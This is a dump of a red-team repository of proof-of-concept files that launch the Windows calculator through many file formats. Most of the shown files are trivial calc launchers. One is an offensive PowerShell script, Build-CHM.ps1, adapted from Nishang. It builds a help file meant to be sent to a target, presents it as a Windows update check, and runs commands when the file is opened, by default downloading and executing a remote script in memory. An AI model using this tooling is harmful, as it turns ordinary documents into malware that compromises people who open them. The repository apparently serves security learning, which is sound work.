├── README.md
├── bat
└── calc.bat
├── chm
├── Build-CHM.ps1
├── calc.chm
├── calc.hhc
├── calc.hhp
└── calc.htm
├── cmd
└── calc.cmd
├── cpl
├── calc.cpl
└── calc.cpp
├── dll
├── calc.dll
├── calc.inf
└── main.cpp
├── doc
└── calc.doc
├── exe
├── calc.exe
└── calc
│ ├── calc.sln
│ ├── calc.vcxproj
│ ├── calc.vcxproj.filters
│ └── main.cpp
├── hta
└── calc.hta
├── html
└── calc.html
├── inf
└── calc.inf
├── jar
├── HelloCalc.java
├── MANIFEST.MF
└── calc.jar
├── js,jse
├── calc.js
└── calc.jse
├── lnk
└── calc.lnk
├── mht
└── calc.mht
├── msi
├── calc.exe
├── calc.msi
└── calc.wxs
├── pdf
└── calc.pdf
├── pif
└── calc.pif
├── ps1
└── calc.ps1
├── reg
└── calc.reg
├── scr
└── calc.scr
├── vbe,vbs
├── calc.vbe
└── calc.vbs
├── wsf
└── calc.wsf
└── xls
└── calc.xls
/README.md:
--------------------------------------------------------------------------------
1 | # calc_poc
2 | A repository holding Proof of Concepts for executing the calculator application via different file formats
3 |
4 | This repo was deleted in the past and I found it helpful when I started learning so here it is up again, I don't remember the Original Author of this repo but I have this copy with me and wanted to share
5 |
--------------------------------------------------------------------------------
/bat/calc.bat:
--------------------------------------------------------------------------------
1 | c:\windows\system32\calc.exe
--------------------------------------------------------------------------------
/chm/Build-CHM.ps1:
--------------------------------------------------------------------------------
1 |
2 | function Out-CHM
3 | {
4 |
5 | <#
6 | .SYNOPSIS
7 | Nishang script modified for Kautilya, useful for creating Compiled HTML Help file (.CHM) which could be used to run PowerShell commands and scripts.
8 |
9 | .DESCRIPTION
10 | The script generates a CHM file which needs to be sent to a target.
11 | You must have hhc.exe (HTML Help Workshop) on your machine to use this script.
12 | HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link:
13 | http://www.microsoft.com/en-us/download/details.aspx?id=21138
14 |
15 | .PARAMETER Payload
16 | Payload which you want execute on the target.
17 |
18 | .PARAMETER PayloadURL
19 | URL of the powershell script which would be executed on the target.
20 |
21 | .PARAMETER Arguments
22 | Arguments to the powershell script to be executed on the target.
23 |
24 | .PARAMETER OutputPath
25 | Path to the directory where the files would be saved. Default is the current directory.
26 |
27 | .EXAMPLE
28 | PS > Out-CHM -Payload "Get-Process" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
29 |
30 | Above command would execute Get-Process on the target machine when the CHM file is opened.
31 |
32 | .EXAMPLE
33 | PS > Out-CHM -PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
34 |
35 | Use above command to generate CHM file which download and execute the given powershell script in memory on target.
36 |
37 | .EXAMPLE
38 | PS > Out-CHM -Payload "-EncodedCommand <>" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
39 |
40 | Use above command to generate CHM file which executes the encoded command/script.
41 | Use Invoke-Encode from Nishang to encode the command or script.
42 |
43 | .EXAMPLE
44 | PS > Out-CHM -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
45 |
46 | Use above command to pass an argument to the powershell script/module.
47 |
48 | .LINK
49 | http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
50 | https://github.com/samratashok/nishang
51 |
52 | .Notes
53 | Based on the work mentioned in this tweet by @ithurricanept
54 | https://twitter.com/ithurricanept/status/534993743196090368
55 | #>
56 |
57 |
58 |
59 | [CmdletBinding()] Param(
60 |
61 | [Parameter(Position = 0, Mandatory = $False)]
62 | [String]
63 | $Payload,
64 |
65 | [Parameter(Position = 1, Mandatory = $False)]
66 | [String]
67 | $PayloadURL,
68 |
69 | [Parameter(Position = 2, Mandatory = $False)]
70 | [String]
71 | $Arguments,
72 |
73 | [Parameter(Position = 3, Mandatory = $True)]
74 | [String]
75 | $HHCPath,
76 |
77 | [Parameter(Position = 4, Mandatory = $False)]
78 | [String]
79 | $OutputPath="$pwd"
80 | )
81 |
82 | #Check if the payload has been provided by the user
83 | if(!$Payload)
84 | {
85 | $Payload = "IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
86 | }
87 |
88 | #Create the table of contents for the CHM
89 | $CHMTableOfContents = @"
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
101 |
102 |
103 |
104 | "@
105 |
106 | #Create the Project file for the CHM
107 | $CHMProject = @"
108 | [OPTIONS]
109 | Contents file=$OutputPath\doc.hhc
110 | [FILES]
111 | $OutputPath\doc.htm
112 | "@
113 | #Create the HTM files, the first one controls the payload execution.
114 | $CHMHTML1 = @"
115 |
116 | Check for Windows updates from Command Line
117 |
118 |
119 |
120 |
121 |
127 |
128 |
131 |
132 |
133 |
134 |
135 | "@
136 |
137 |
138 | #Write all files to disk for compilation
139 | Out-File -InputObject $CHMTableOfContents -FilePath "$OutputPath\doc.hhc" -Encoding default
140 | Out-File -InputObject $CHMHTML1 -FilePath "$OutputPath\doc.htm" -Encoding default
141 | Out-File -InputObject $CHMProject -FilePath "$OutputPath\doc.hhp" -Encoding default
142 |
143 | #Compile the CHM, only this needs to be sent to a target.
144 | $HHC = "$HHCPath" + "\hhc.exe"
145 | & "$HHC" "$OutputPath\doc.hhp"
146 |
147 | #Cleanup
148 | Remove-Item "$OutputPath\doc.hhc"
149 | Remove-Item "$OutputPath\doc.htm"
150 | Remove-Item "$OutputPath\doc.hhp"
151 |
152 | #Create a zip archive of the CHM file
153 | $SourceFile = "$OutputPath\doc.chm"
154 | $ZipFile = "$OutputPath\doc.zip"
155 | #http://stackoverflow.com/questions/11021879/creating-a-zipped-compressed-folder-in-windows-using-powershell-or-the-command-l
156 | if(-not (test-path($ZipFile)))
157 | {
158 | Set-Content $ZipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
159 | }
160 |
161 | $shellApplication = new-object -com shell.application
162 | $zippackage = $shellApplication.NameSpace($ZipFile)
163 | $zippackage.copyhere($SourceFile)
164 |
165 | #Wait till zip archive is written to the disk
166 | Start-Sleep -Seconds 3
167 |
168 | #Read the zip archive in bytes and write to a file
169 | #Use this txt file in Kautilya with the Drop CHM file payload.
170 | [byte[]] $FileContent = Get-Content -Encoding Byte $ZipFile
171 | [System.IO.File]::WriteAllLines("$OutputPath\encodedchm.txt", $FileContent)
172 |
173 | #Cleanup
174 | Remove-Item $SourceFile
175 | Remove-Item $ZipFile
176 |
177 | }
--------------------------------------------------------------------------------
/chm/calc.chm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dmcxblue/calc_poc/dfe0f4f4e308721df249395e22e2dd003c3c79b3/chm/calc.chm
--------------------------------------------------------------------------------
/chm/calc.hhc:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
10 |